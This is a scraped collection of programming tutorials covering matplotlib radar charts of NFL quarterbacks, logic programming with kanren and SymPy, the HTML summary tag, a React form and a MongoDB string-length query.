"text": "The MVP race (at QB) came down Russell Wilson and Lamar Jackson (who eventually won):"
},
{
"code": null,
"e": 14903,
"s": 14333,
"text": "# MVP Race# Create figurefig = plt.figure(figsize=(8, 4), facecolor='white')# Add subplotsax1 = fig.add_subplot(121, projection='polar', facecolor='#ededed')ax2 = fig.add_subplot(122, projection='polar', facecolor='#ededed')# Adjust space between subplotsplt.subplots_adjust(hspace=0.8, wspace=0.5)# Get QB databal_data = get_qb_data(data_radar_filtered, 'BAL')sea_data = get_qb_data(data_radar_filtered, 'SEA')# Plot QB dataax1 = create_radar_chart(ax1, angles, sea_data, team_colors['SEA'])ax2 = create_radar_chart(ax2, angles, bal_data, team_colors['BAL'])plt.show()"
},
{
"code": null,
"e": 15211,
"s": 14903,
"text": "From a pure passer standpoint, Russell Wilson has more balanced stats, but Lamar Jackson clearly had the more “bang-for-buck” passing yards, as shown by his number of passing TDs and quarterback rating. Additionally, Lamar Jackson set the QB rushing record for a season, which is not captured in this chart."
},
{
"code": null,
"e": 15243,
"s": 15211,
"text": "Teams who drafted 1st round QBs"
},
{
"code": null,
"e": 15495,
"s": 15243,
"text": "Four quarterbacks were taken in the 1st round of the 2020 NFL Draft: Joe Burrow (CIN), Tua Tagovailoa (MIA), Justin Herbert (LAC), and (surprisingly) Jordan Love (GB). Let’s visualize the stats of the quarterbacks that these draft picks would replace."
},
{
"code": null,
"e": 16446,
"s": 15495,
"text": "# 1st Round Draft Picks# Create figurefig = plt.figure(figsize=(8, 8), facecolor='white')# Add subplotsax1 = fig.add_subplot(221, projection='polar', facecolor='#ededed')ax2 = fig.add_subplot(222, projection='polar', facecolor='#ededed')ax3 = fig.add_subplot(223, projection='polar', facecolor='#ededed')ax4 = fig.add_subplot(224, projection='polar', facecolor='#ededed')# Adjust space between subplotsplt.subplots_adjust(hspace=0.8, wspace=0.5)# Get QB datacin_data = get_qb_data(data_radar_filtered, 'CIN')mia_data = get_qb_data(data_radar_filtered, 'MIA')lac_data = get_qb_data(data_radar_filtered, 'LAC')gnb_data = get_qb_data(data_radar_filtered, 'GNB')# Plot QB dataax1 = create_radar_chart(ax1, angles, cin_data, team_colors['CIN'])ax2 = create_radar_chart(ax2, angles, mia_data, team_colors['MIA'])ax3 = create_radar_chart(ax3, angles, lac_data, team_colors['LAC'])ax4 = create_radar_chart(ax4, angles, gnb_data, team_colors['GNB'])plt.show()"
},
{
"code": null,
"e": 17084,
"s": 16446,
"text": "Andy Dalton had a terrible season by all metrics — it clearly appears that it was time to move onRyan Fitzpatrick was below average in all six statistical metrics and had a fairly mediocre season. Considering Josh Rosen was benched for Fitzpatrick, Miami needed to invest in Tua for the future.Philip Rivers actually performed average to above average in most categories, but clearly had some bad decision-making, judging by the number of interceptions he threw.Aaron Rodgers had what appears to be an above average season, but still below average by the lofty expectations we have for him. The Jordan Love pick was a shock for everyone."
},
{
"code": null,
"e": 17182,
"s": 17084,
"text": "Andy Dalton had a terrible season by all metrics — it clearly appears that it was time to move on"
},
{
"code": null,
"e": 17380,
"s": 17182,
"text": "Ryan Fitzpatrick was below average in all six statistical metrics and had a fairly mediocre season. Considering Josh Rosen was benched for Fitzpatrick, Miami needed to invest in Tua for the future."
},
{
"code": null,
"e": 17549,
"s": 17380,
"text": "Philip Rivers actually performed average to above average in most categories, but clearly had some bad decision-making, judging by the number of interceptions he threw."
},
{
"code": null,
"e": 17725,
"s": 17549,
"text": "Aaron Rodgers had what appears to be an above average season, but still below average by the lofty expectations we have for him. The Jordan Love pick was a shock for everyone."
},
{
"code": null,
"e": 17952,
"s": 17725,
"text": "As you can see, the possibilities are endless — and this framework can be easily adapted for other stats such as rushing and receiving metrics. The Jupyter notebook used for this article can be found at this Github repository."
}
] |
Logic Programming and the Design of Humanistic AI using Python | by Rahulraj Singh | Towards Data Science
|
Since its inception, Artificial Intelligence has been a means of replicating human thoughts and behavior, and give these attributes to machines.
The success of AI is measured as the degree to which a machine can act astutely. The smarter the machine gets, the better that AI code is considered.
As the advent of creating intelligent machines is increasing, there is also an increase in the creative ways of coding these machines. One such creative construct being used to build AI is Logic Programming. LP deals with rules, functions, and inferences. It is derived from the fact that when a machine is trained enough to understand the rules present in its environment and later uses these rules to distinguish between “right” and “wrong”, that is when the machine has become intelligent and is correctly mimicking human behavior.
These are theories based on AI Programming that form the basis of code which learns from patterns and rules. Logic Programming talks about the study of principles that orbit across the establishment of reasoning within tasks. It is the analysis of present rules, using which future outcomes can be derived. For instance, if three statements are resulting in a ‘True’ answer, the program can infer the output of a fourth related statement.
As the words suggest, Logic Programming is combined of two distinct ideas — logic and programming. The logic here details the facts and rules that the programming structure needs to understand. A logical approach to programming requires a set of input rules that the code learns and then infers an output on a new related fact it has not seen before. This can also be viewed as a form of a learning algorithm with explicit instruction of understanding.
Writing code in Python, C, C++, Java, etc. we have observed paradigms like object-oriented programming (OOPS), abstraction, looping constructs, and numerous other states of programming. Logic Programming is just another programming paradigm that works on relationships. These relationships are built using facts and rules and are stored as a database of relations. It is a programming methodology that works on formal and explicit logic of events.
Relation: Relations are the basis of logic programming. A relation can be defined as a fact that follows a certain rule. For example, a relation given by [ A 🡪 B ] is read as “if A is true, then B occurs”. In language terms, this can be read as, “If you are an Engineer, then you are a Graduate” and infers that, “Engineers are Graduates”. In programming languages, the semantics of writing relations change based on the language’s syntax, but this is the overall rationality behind what relations mean.
Facts: Every program that is built on logic needs facts. To achieve a defined goal, facts need to be provided to the program. As the name suggests in general English, facts are merely the truth. True statements that represent the program and the data. For instance, Washington is the capital of the United States of America.
Rules: Rules, like programming syntax, are the constraints that help in drawing conclusions from a domain. These are logical clauses that the program or the fact needs to follow to build a relation. You can think of it like this, the fact is that Raman is a man. Now, gender can be a singular entity, that is a rule. A man cannot be a woman. Therefore, the relations we build here are that, since Raman is a man, he cannot be a woman. This is how rules are built:
For example: predecessor(A,B) :- parent(A,B).predecessor(A,C) :- parent(A,B), predecessor(B,C).
This can be read as, for every A and B, if A is the parent of B and B is a predecessor of C, A is the predecessor of C. For every A and B, A is the predecessor of C, if A is the parent of B and B is a predecessor of C.
Since we are focusing on creating applications solely based on Logic, it is necessary to first understand how this logic works and how it can be derived. Below we will follow the hierarchy of building “Logic”.
Propositional Logic: All forms of code building start with the most basic form of logic, which is propositional. Here, statements are made by propositions, that can be defined as declarative statements having either of two outcomes; True or False. It is a knowledge representation technique used in Mathematics.
A proposition formula that is always true is called Tautology, and it is also called a valid sentence. A proposition formula that is always false is called Contradiction.
It is Sunday. (True)The Sun rises from North (False proposition)3+6= 7 (False proposition)3 is a prime number. (True)
First-Order Logic: This is an extension of the Propositional Logic. First-order also builds a boolean representation, but it does it in a space called the domain. This domain is a partial view of the world with a limited environment. First-Order logic is made up of syntax and semantics.
In addition to facts (as assumed by propositional logic), First-Order logic also assumes that the world contains objects, relations, and functions that represent occurrences which cannot be classified as true or false.
For example, consider the sentence “X is an Integer”. This sentence consists of two parts. The second part “is an integer” is a Fact. A variable can either be an integer or not (Boolean, hence, Propositional). But, the first part “X”, also called the subject, is not Boolean. It is a naturally occurring object and could have been any variable. The combination of a natural substance (non-boolean) with propositional logic is the First-Order Logic. These are a few examples of these non-boolean substances of First-Order Logic. a. Constants (1, 2, A, John, etc.) b. Variables (x, y, z, a, b)c. Predicates (Brother, Father, >,<)d. Function (sqrt, LeftLegOf, etc.) e. Connectives (∧, ∨, ¬, ⇒, ⇔)f. Equality (==)
Clausal-Form Logic: The final form of logic is clausal form. This is used in Logic Programming. Clausal-Form logic is a subset of First-Order Logic. The knowledge given to a first-order logic system is manipulated using the resolution inference system that enables the proof of theorems.
Logic Programming is extensively used in Natural Language Processing (NLP) since understanding languages is about the recognition of patterns that numbers cannot represent.It is also used in prototyping models. Since expressions and patterns can be replicated using logic, prototyping is made easy.Pattern matching algorithms within image processing, speech recognition, and various other cognitive services also use logic programming for pattern recognition.Scheduling and Resource Allocation are major operations tasks that logic programming can help solve efficiently and completely.Mathematical proofs are also easy to decode using logic programming.
Logic Programming is extensively used in Natural Language Processing (NLP) since understanding languages is about the recognition of patterns that numbers cannot represent.
It is also used in prototyping models. Since expressions and patterns can be replicated using logic, prototyping is made easy.
Pattern matching algorithms within image processing, speech recognition, and various other cognitive services also use logic programming for pattern recognition.
Scheduling and Resource Allocation are major operations tasks that logic programming can help solve efficiently and completely.
Mathematical proofs are also easy to decode using logic programming.
Logic Programming can be used to solve numerous mathematical problems that will ultimately help in building an artificially intelligent machine. In the sections coming next, we will observe how Logic Programming can be used to evaluate expressions in mathematics, make programs learn operations, and form predictions. We will also solve a real problem using two libraries that influence logic programming in Python.
Kanren: Kanren is a library within PyPi that simplifies ways of making business logic out of code. The logic, rules, and facts we discussed previously can be turned into code using ‘kanren’. It uses advanced forms of pattern matching to understand the input expressions and build its own logic from the given input. We will be using this library in the sections below for mathematical computations. The import and installation steps are mentioned in the code section that follows.
SymPy: SymPy stands for symbolic computation in Python and is an open-sourced library. It is used for calculating mathematical constructs using symbols. The SymPy project aims to establish a completely featured Computer Algebra System (CAS). The aim here is to keep the understanding of the code simple and comprehensive.
Evaluating Mathematical Idioms using Logic Programming
Algorithms are nothing but implementation of logic and control. Similarly, when the logic runs a mathematical function, we call it a mathematical expression. These expressions are the inputs we give to the program, based on which the program understands the rules that are present in the logic. Based on the understanding of these rules, future expressions can also be evaluated. Let us see an implementation of Logic Programming to evaluate mathematical expressions:
CODE 1: Check for Mathematical Patterns pip install kanrenpip install sympy# Define values that will undertake the addition and multiplication operationsaddition = 'add'multiplication = 'mul'# Define facts and properties of each operationfact(commutative, multiplication)fact(commutative, addition)fact(associative, multiplication)fact(associative, addition)# Declare the variables that are going to form the expressionvar_x, var_y, var_z = var('var_x'), var('var_y'), var('var_z')# Build the correct pattern that the program needs to learnmatch_pattern = (addition, (multiplication, 4, var_x, var_y), var_y, (multiplication, 6, var_z))match_pattern = (addition, (multiplication, 3, 4), (multiplication, (addition, 1, (multiplication, 2, 4)),2))# Build 3 distinct expressions to test if the function has learnttest_expression_one = (addition, (multiplication, (addition, 1 , (multiplication, 2, var_x )), var_y) ,(multiplication, 3, var_z ))test_expression_two = (addition, (multiplication, var_z, 3), (multiplication, var_y, (addition, (multiplication, 2, var_x), 1)))test_expression_three = (addition , (addition, (multiplication, (multiplication, 2, var_x), var_y), var_y), (multiplication, 3, var_z))# Test the evaluations of the expression on the test expressionsrun(0,(var_x,var_y,var_z),eq(test_expression_one,match_pattern))>>> ((4, 2, 4),)run(0,(var_x,var_y,var_z),eq(test_expression_two,match_pattern))>>> ((4, 2, 4),)run(0,(var_x,var_y,var_z),eq(test_expression_three,match_pattern))>>> ()# Since the first two expressions satisfy the expression above, they return the values of individual variables. The third expression is structurally different and therefore does not match.CODE 2: Symbolic Representations of Logic# Running Mathematical Evaluations using SymPyprint (math.sqrt(8))>>> 2.8284271247461903# Although the Math Square Root function gives an output for the Square Root of 8.# We know this is not accurate since the square root of 8 is a recursive, non-ending real numberprint (sympy.sqrt(3))>>> sqrt(3)# Sympy on the other hand, symbolizes the output and shows it as root of 3# In case of actual square roots like 9, SymPy gives the correct result and not a symbolic answerCODE 3: Prime Number check using Logic Programming# Defining a function to build the expression for Prime Number checkdef exp_prime (input_num):if isvar(input_num): return condeseq([(eq, input_num, x)] for x in map(prime, iter_one.count(1)))else: return success if isprime (input_num) else fail# Variable to usen_test = var()set(run(0, n_test,(membero, n_test,(12,14,15,19,21,20,22,29,23,30,41,44,62,52,65,85)),( exp_prime, n_test)))>>> {19, 23, 29, 41}run(7, n_test, exp_prime( n_test ) )>>> (2, 3, 5, 7, 11, 13, 17)
The code mentioned above only consists of all necessary pseudo logic and will not run independently on any IDE. The complete code is present in the repository linked below and I would encourage you to go through the Google Colab notebook from the repository that contains the entire working code.
github.com
For the better part of almost a decade, AI has been the most invested skill. Companies are adopting it and researchers are constantly trying to improve it. This improvement has been aided significantly by the application of Logic Programming. When machines can infer thoughts based on the rules given to them, they become intelligent. Through this story, we have been able to walk through and glimpse at Logic Programming, which is gradually becoming an important paradigm for building AI applications. From definitions to implementation, we saw Logic Programming in action. Like I have mentioned in all my previous stories as well, it is best to keep the code repository open alongside this article to get the best out of these concepts. Also, I would encourage you to go through the References section that will help you understand every concept in detail.
Some interesting Machine Learning, Data Science, and Artificial Intelligence readings and tutorials:
Learn to build an End-to-End AI & ML workflow for Production on Microsoft Azure.
Learn to build an End-to-End AI & ML workflow for Production on Microsoft Azure.
towardsdatascience.com
2. Use the Functional Programming paradigm to build robust AI applications.
towardsdatascience.com
3. Simplify the complex NLP code using constructs from Machine Learning
towardsdatascience.com
I am Rahul, currently researching Artificial Intelligence and implementing Big Data Analytics on Xbox Games. I work with Microsoft. Apart from professional work, I am also trying to work out a program that deals with understanding how economic situations can be improved across developing nations in the world by using AI.
I am at Columbia University in New York at the moment and you are free to connect with me on LinkedIn on Twitter.
|
[
{
"code": null,
"e": 317,
"s": 172,
"text": "Since its inception, Artificial Intelligence has been a means of replicating human thoughts and behavior, and give these attributes to machines."
},
{
"code": null,
"e": 467,
"s": 317,
"text": "The success of AI is measured as the degree to which a machine can act astutely. The smarter the machine gets, the better that AI code is considered."
},
{
"code": null,
"e": 1002,
"s": 467,
"text": "As the advent of creating intelligent machines is increasing, there is also an increase in the creative ways of coding these machines. One such creative construct being used to build AI is Logic Programming. LP deals with rules, functions, and inferences. It is derived from the fact that when a machine is trained enough to understand the rules present in its environment and later uses these rules to distinguish between “right” and “wrong”, that is when the machine has become intelligent and is correctly mimicking human behavior."
},
{
"code": null,
"e": 1441,
"s": 1002,
"text": "These are theories based on AI Programming that form the basis of code which learns from patterns and rules. Logic Programming talks about the study of principles that orbit across the establishment of reasoning within tasks. It is the analysis of present rules, using which future outcomes can be derived. For instance, if three statements are resulting in a ‘True’ answer, the program can infer the output of a fourth related statement."
},
{
"code": null,
"e": 1894,
"s": 1441,
"text": "As the words suggest, Logic Programming is combined of two distinct ideas — logic and programming. The logic here details the facts and rules that the programming structure needs to understand. A logical approach to programming requires a set of input rules that the code learns and then infers an output on a new related fact it has not seen before. This can also be viewed as a form of a learning algorithm with explicit instruction of understanding."
},
{
"code": null,
"e": 2342,
"s": 1894,
"text": "Writing code in Python, C, C++, Java, etc. we have observed paradigms like object-oriented programming (OOPS), abstraction, looping constructs, and numerous other states of programming. Logic Programming is just another programming paradigm that works on relationships. These relationships are built using facts and rules and are stored as a database of relations. It is a programming methodology that works on formal and explicit logic of events."
},
{
"code": null,
"e": 2846,
"s": 2342,
"text": "Relation: Relations are the basis of logic programming. A relation can be defined as a fact that follows a certain rule. For example, a relation given by [ A 🡪 B ] is read as “if A is true, then B occurs”. In language terms, this can be read as, “If you are an Engineer, then you are a Graduate” and infers that, “Engineers are Graduates”. In programming languages, the semantics of writing relations change based on the language’s syntax, but this is the overall rationality behind what relations mean."
},
{
"code": null,
"e": 3171,
"s": 2846,
"text": "Facts: Every program that is built on logic needs facts. To achieve a defined goal, facts need to be provided to the program. As the name suggests in general English, facts are merely the truth. True statements that represent the program and the data. For instance, Washington is the capital of the United States of America."
},
{
"code": null,
"e": 3635,
"s": 3171,
"text": "Rules: Rules, like programming syntax, are the constraints that help in drawing conclusions from a domain. These are logical clauses that the program or the fact needs to follow to build a relation. You can think of it like this, the fact is that Raman is a man. Now, gender can be a singular entity, that is a rule. A man cannot be a woman. Therefore, the relations we build here are that, since Raman is a man, he cannot be a woman. This is how rules are built:"
},
{
"code": null,
"e": 3731,
"s": 3635,
"text": "For example: predecessor(A,B) :- parent(A,B).predecessor(A,C) :- parent(A,B), predecessor(B,C)."
},
{
"code": null,
"e": 3950,
"s": 3731,
"text": "This can be read as, for every A and B, if A is the parent of B and B is a predecessor of C, A is the predecessor of C. For every A and B, A is the predecessor of C, if A is the parent of B and B is a predecessor of C."
},
{
"code": null,
"e": 4160,
"s": 3950,
"text": "Since we are focusing on creating applications solely based on Logic, it is necessary to first understand how this logic works and how it can be derived. Below we will follow the hierarchy of building “Logic”."
},
{
"code": null,
"e": 4472,
"s": 4160,
"text": "Propositional Logic: All forms of code building start with the most basic form of logic, which is propositional. Here, statements are made by propositions, that can be defined as declarative statements having either of two outcomes; True or False. It is a knowledge representation technique used in Mathematics."
},
{
"code": null,
"e": 4643,
"s": 4472,
"text": "A proposition formula that is always true is called Tautology, and it is also called a valid sentence. A proposition formula that is always false is called Contradiction."
},
{
"code": null,
"e": 4761,
"s": 4643,
"text": "It is Sunday. (True)The Sun rises from North (False proposition)3+6= 7 (False proposition)3 is a prime number. (True)"
},
{
"code": null,
"e": 5049,
"s": 4761,
"text": "First-Order Logic: This is an extension of the Propositional Logic. First-order also builds a boolean representation, but it does it in a space called the domain. This domain is a partial view of the world with a limited environment. First-Order logic is made up of syntax and semantics."
},
{
"code": null,
"e": 5268,
"s": 5049,
"text": "In addition to facts (as assumed by propositional logic), First-Order logic also assumes that the world contains objects, relations, and functions that represent occurrences which cannot be classified as true or false."
},
{
"code": null,
"e": 5978,
"s": 5268,
"text": "For example, consider the sentence “X is an Integer”. This sentence consists of two parts. The second part “is an integer” is a Fact. A variable can either be an integer or not (Boolean, hence, Propositional). But, the first part “X”, also called the subject, is not Boolean. It is a naturally occurring object and could have been any variable. The combination of a natural substance (non-boolean) with propositional logic is the First-Order Logic. These are a few examples of these non-boolean substances of First-Order Logic. a. Constants (1, 2, A, John, etc.) b. Variables (x, y, z, a, b)c. Predicates (Brother, Father, >,<)d. Function (sqrt, LeftLegOf, etc.) e. Connectives (∧, ∨, ¬, ⇒, ⇔)f. Equality (==)"
},
{
"code": null,
"e": 6266,
"s": 5978,
"text": "Clausal-Form Logic: The final form of logic is clausal form. This is used in Logic Programming. Clausal-Form logic is a subset of First-Order Logic. The knowledge given to a first-order logic system is manipulated using the resolution inference system that enables the proof of theorems."
},
{
"code": null,
"e": 6921,
"s": 6266,
"text": "Logic Programming is extensively used in Natural Language Processing (NLP) since understanding languages is about the recognition of patterns that numbers cannot represent.It is also used in prototyping models. Since expressions and patterns can be replicated using logic, prototyping is made easy.Pattern matching algorithms within image processing, speech recognition, and various other cognitive services also use logic programming for pattern recognition.Scheduling and Resource Allocation are major operations tasks that logic programming can help solve efficiently and completely.Mathematical proofs are also easy to decode using logic programming."
},
{
"code": null,
"e": 7094,
"s": 6921,
"text": "Logic Programming is extensively used in Natural Language Processing (NLP) since understanding languages is about the recognition of patterns that numbers cannot represent."
},
{
"code": null,
"e": 7221,
"s": 7094,
"text": "It is also used in prototyping models. Since expressions and patterns can be replicated using logic, prototyping is made easy."
},
{
"code": null,
"e": 7383,
"s": 7221,
"text": "Pattern matching algorithms within image processing, speech recognition, and various other cognitive services also use logic programming for pattern recognition."
},
{
"code": null,
"e": 7511,
"s": 7383,
"text": "Scheduling and Resource Allocation are major operations tasks that logic programming can help solve efficiently and completely."
},
{
"code": null,
"e": 7580,
"s": 7511,
"text": "Mathematical proofs are also easy to decode using logic programming."
},
{
"code": null,
"e": 7996,
"s": 7580,
"text": "Logic Programming can be used to solve numerous mathematical problems that will ultimately help in building an artificially intelligent machine. In the sections coming next, we will observe how Logic Programming can be used to evaluate expressions in mathematics, make programs learn operations, and form predictions. We will also solve a real problem using two libraries that influence logic programming in Python."
},
{
"code": null,
"e": 8477,
"s": 7996,
"text": "Kanren: Kanren is a library within PyPi that simplifies ways of making business logic out of code. The logic, rules, and facts we discussed previously can be turned into code using ‘kanren’. It uses advanced forms of pattern matching to understand the input expressions and build its own logic from the given input. We will be using this library in the sections below for mathematical computations. The import and installation steps are mentioned in the code section that follows."
},
{
"code": null,
"e": 8799,
"s": 8477,
"text": "SymPy: SymPy stands for symbolic computation in Python and is an open-sourced library. It is used for calculating mathematical constructs using symbols. The SymPy project aims to establish a completely featured Computer Algebra System (CAS). The aim here is to keep the understanding of the code simple and comprehensive."
},
{
"code": null,
"e": 8854,
"s": 8799,
"text": "Evaluating Mathematical Idioms using Logic Programming"
},
{
"code": null,
"e": 9322,
"s": 8854,
"text": "Algorithms are nothing but implementation of logic and control. Similarly, when the logic runs a mathematical function, we call it a mathematical expression. These expressions are the inputs we give to the program, based on which the program understands the rules that are present in the logic. Based on the understanding of these rules, future expressions can also be evaluated. Let us see an implementation of Logic Programming to evaluate mathematical expressions:"
},
{
"code": null,
"e": 12044,
"s": 9322,
"text": "CODE 1: Check for Mathematical Patterns pip install kanrenpip install sympy# Define values that will undertake the addition and multiplication operationsaddition = 'add'multiplication = 'mul'# Define facts and properties of each operationfact(commutative, multiplication)fact(commutative, addition)fact(associative, multiplication)fact(associative, addition)# Declare the variables that are going to form the expressionvar_x, var_y, var_z = var('var_x'), var('var_y'), var('var_z')# Build the correct pattern that the program needs to learnmatch_pattern = (addition, (multiplication, 4, var_x, var_y), var_y, (multiplication, 6, var_z))match_pattern = (addition, (multiplication, 3, 4), (multiplication, (addition, 1, (multiplication, 2, 4)),2))# Build 3 distinct expressions to test if the function has learnttest_expression_one = (addition, (multiplication, (addition, 1 , (multiplication, 2, var_x )), var_y) ,(multiplication, 3, var_z ))test_expression_two = (addition, (multiplication, var_z, 3), (multiplication, var_y, (addition, (multiplication, 2, var_x), 1)))test_expression_three = (addition , (addition, (multiplication, (multiplication, 2, var_x), var_y), var_y), (multiplication, 3, var_z))# Test the evaluations of the expression on the test expressionsrun(0,(var_x,var_y,var_z),eq(test_expression_one,match_pattern))>>> ((4, 2, 4),)run(0,(var_x,var_y,var_z),eq(test_expression_two,match_pattern))>>> ((4, 2, 4),)run(0,(var_x,var_y,var_z),eq(test_expression_three,match_pattern))>>> ()# Since the first two expressions satisfy the expression above, they return the values of individual variables. The third expression is structurally different and therefore does not match.CODE 2: Symbolic Representations of Logic# Running Mathematical Evaluations using SymPyprint (math.sqrt(8))>>> 2.8284271247461903# Although the Math Square Root function gives an output for the Square Root of 8.# We know this is not accurate since the square root of 8 is a recursive, non-ending real numberprint (sympy.sqrt(3))>>> sqrt(3)# Sympy on the other hand, symbolizes the output and shows it as root of 3# In case of actual square roots like 9, SymPy gives the correct result and not a symbolic answerCODE 3: Prime Number check using Logic Programming# Defining a function to build the expression for Prime Number checkdef exp_prime (input_num):if isvar(input_num): return condeseq([(eq, input_num, x)] for x in map(prime, iter_one.count(1)))else: return success if isprime (input_num) else fail# Variable to usen_test = var()set(run(0, n_test,(membero, n_test,(12,14,15,19,21,20,22,29,23,30,41,44,62,52,65,85)),( exp_prime, n_test)))>>> {19, 23, 29, 41}run(7, n_test, exp_prime( n_test ) )>>> (2, 3, 5, 7, 11, 13, 17)"
},
{
"code": null,
"e": 12341,
"s": 12044,
"text": "The code mentioned above only consists of all necessary pseudo logic and will not run independently on any IDE. The complete code is present in the repository linked below and I would encourage you to go through the Google Colab notebook from the repository that contains the entire working code."
},
{
"code": null,
"e": 12352,
"s": 12341,
"text": "github.com"
},
{
"code": null,
"e": 13211,
"s": 12352,
"text": "For the better part of almost a decade, AI has been the most invested skill. Companies are adopting it and researchers are constantly trying to improve it. This improvement has been aided significantly by the application of Logic Programming. When machines can infer thoughts based on the rules given to them, they become intelligent. Through this story, we have been able to walk through and glimpse at Logic Programming, which is gradually becoming an important paradigm for building AI applications. From definitions to implementation, we saw Logic Programming in action. Like I have mentioned in all my previous stories as well, it is best to keep the code repository open alongside this article to get the best out of these concepts. Also, I would encourage you to go through the References section that will help you understand every concept in detail."
},
{
"code": null,
"e": 13312,
"s": 13211,
"text": "Some interesting Machine Learning, Data Science, and Artificial Intelligence readings and tutorials:"
},
{
"code": null,
"e": 13393,
"s": 13312,
"text": "Learn to build an End-to-End AI & ML workflow for Production on Microsoft Azure."
},
{
"code": null,
"e": 13474,
"s": 13393,
"text": "Learn to build an End-to-End AI & ML workflow for Production on Microsoft Azure."
},
{
"code": null,
"e": 13497,
"s": 13474,
"text": "towardsdatascience.com"
},
{
"code": null,
"e": 13573,
"s": 13497,
"text": "2. Use the Functional Programming paradigm to build robust AI applications."
},
{
"code": null,
"e": 13596,
"s": 13573,
"text": "towardsdatascience.com"
},
{
"code": null,
"e": 13668,
"s": 13596,
"text": "3. Simplify the complex NLP code using constructs from Machine Learning"
},
{
"code": null,
"e": 13691,
"s": 13668,
"text": "towardsdatascience.com"
},
{
"code": null,
"e": 14014,
"s": 13691,
"text": "I am Rahul, currently researching Artificial Intelligence and implementing Big Data Analytics on Xbox Games. I work with Microsoft. Apart from professional work, I am also trying to work out a program that deals with understanding how economic situations can be improved across developing nations in the world by using AI."
}
] |
HTML - Summary Tag
|
The HTML <summary> tag specifies a summary, caption or legend for a given details.
<!DOCTYPE html>
<html>
<head>
<title>HTML Summary Tag</title>
</head>
<body>
<details>
<summary>Some details</summary>
<p>Provide more info about the details here.</p>
</details>
</body>
</html>
This will produce the following result −
Provide more info about the details here.
This tag supports all the global attributes described in − HTML Attribute Reference
This tag supports all the event attributes described in − HTML Events Reference
19 Lectures
2 hours
Anadi Sharma
16 Lectures
1.5 hours
Anadi Sharma
18 Lectures
1.5 hours
Frahaan Hussain
57 Lectures
5.5 hours
DigiFisk (Programming Is Fun)
54 Lectures
6 hours
DigiFisk (Programming Is Fun)
45 Lectures
5.5 hours
DigiFisk (Programming Is Fun)
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2457,
"s": 2374,
"text": "The HTML <summary> tag specifies a summary, caption or legend for a given details."
},
{
"code": null,
"e": 2703,
"s": 2457,
"text": "<!DOCTYPE html>\n<html>\n\n <head>\n <title>HTML Summary Tag</title>\n </head>\n\n <body>\n <details>\n <summary>Some details</summary>\n <p>Provide more info about the details here.</p>\n </details>\n </body>\n\n</html>"
},
{
"code": null,
"e": 2744,
"s": 2703,
"text": "This will produce the following result −"
},
{
"code": null,
"e": 2786,
"s": 2744,
"text": "Provide more info about the details here."
},
{
"code": null,
"e": 2870,
"s": 2786,
"text": "This tag supports all the global attributes described in − HTML Attribute Reference"
},
{
"code": null,
"e": 2950,
"s": 2870,
"text": "This tag supports all the event attributes described in − HTML Events Reference"
},
{
"code": null,
"e": 2983,
"s": 2950,
"text": "\n 19 Lectures \n 2 hours \n"
},
{
"code": null,
"e": 2997,
"s": 2983,
"text": " Anadi Sharma"
},
{
"code": null,
"e": 3032,
"s": 2997,
"text": "\n 16 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 3046,
"s": 3032,
"text": " Anadi Sharma"
},
{
"code": null,
"e": 3081,
"s": 3046,
"text": "\n 18 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 3098,
"s": 3081,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 3133,
"s": 3098,
"text": "\n 57 Lectures \n 5.5 hours \n"
},
{
"code": null,
"e": 3164,
"s": 3133,
"text": " DigiFisk (Programming Is Fun)"
},
{
"code": null,
"e": 3197,
"s": 3164,
"text": "\n 54 Lectures \n 6 hours \n"
},
{
"code": null,
"e": 3228,
"s": 3197,
"text": " DigiFisk (Programming Is Fun)"
},
{
"code": null,
"e": 3263,
"s": 3228,
"text": "\n 45 Lectures \n 5.5 hours \n"
},
{
"code": null,
"e": 3294,
"s": 3263,
"text": " DigiFisk (Programming Is Fun)"
},
{
"code": null,
"e": 3301,
"s": 3294,
"text": " Print"
},
{
"code": null,
"e": 3312,
"s": 3301,
"text": " Add Notes"
}
] |
Tryit Editor v3.6 - Show React
|
import { useState } from "react";
import ReactDOM from "react-dom/client";
function MyForm() {
const [inputs, setInputs] = useState({});
const handleChange = (event) => {
const name = event.target.name;
const value = event.target.value;
setInputs(values => ({...values, [name]: value}))
}
const handleSubmit = (event) => {
event.preventDefault();
console.log(inputs);
}
return (
<form onSubmit={handleSubmit}>
<label>Enter your name:
<input
type="text"
name="username"
value={inputs.username || ""}
onChange={handleChange}
/>
</label>
<label>Enter your age:
<input
type="number"
name="age"
value={inputs.age || ""}
onChange={handleChange}
/>
</label>
<input type="submit" />
</form>
)
}
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(<MyForm />);
/*
Click F12 and navigate to the "Console view"
to see the result when you submit the form.
*/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport"
content="width=device-width, initial-scale=1" />
|
[
{
"code": null,
"e": 1067,
"s": 0,
"text": "\nimport { useState } from \"react\";\nimport ReactDOM from \"react-dom/client\";\n\nfunction MyForm() {\n const [inputs, setInputs] = useState({});\n\n const handleChange = (event) => {\n const name = event.target.name;\n const value = event.target.value;\n setInputs(values => ({...values, [name]: value}))\n }\n\n const handleSubmit = (event) => {\n event.preventDefault();\n console.log(inputs);\n }\n\n return (\n <form onSubmit={handleSubmit}>\n <label>Enter your name:\n <input \n type=\"text\" \n name=\"username\" \n value={inputs.username || \"\"} \n onChange={handleChange}\n />\n </label>\n <label>Enter your age:\n <input \n type=\"number\" \n name=\"age\" \n value={inputs.age || \"\"} \n onChange={handleChange}\n />\n </label>\n <input type=\"submit\" />\n </form>\n )\n}\n\nconst root = ReactDOM.createRoot(document.getElementById('root'));\nroot.render(<MyForm />);\n\n/*\nClick F12 and navigate to the \"Console view\"\nto see the result when you submit the form.\n*/\n\n"
}
] |
Find Strings greater than a particular length in MongoDB?
|
To find the string which has a length greater than a particular value in MongoDB, use the $where operator. The syntax is as follows −
db.yourCollectionName.find({$where:'this.yourStringFieldName.length >
yourIntegerValue'}).pretty();
To understand the above concept, let us create a collection with the document. The query to create a collection with a document is as follows −
> db.stringFieldLengthDemo.insertOne({"UserId":1,"UserName":"Adam Smith"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bb4b2386c62d05142a78")
}
> db.stringFieldLengthDemo.insertOne({"UserId":2,"UserName":"Carol Taylor"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bb562386c62d05142a79")
}
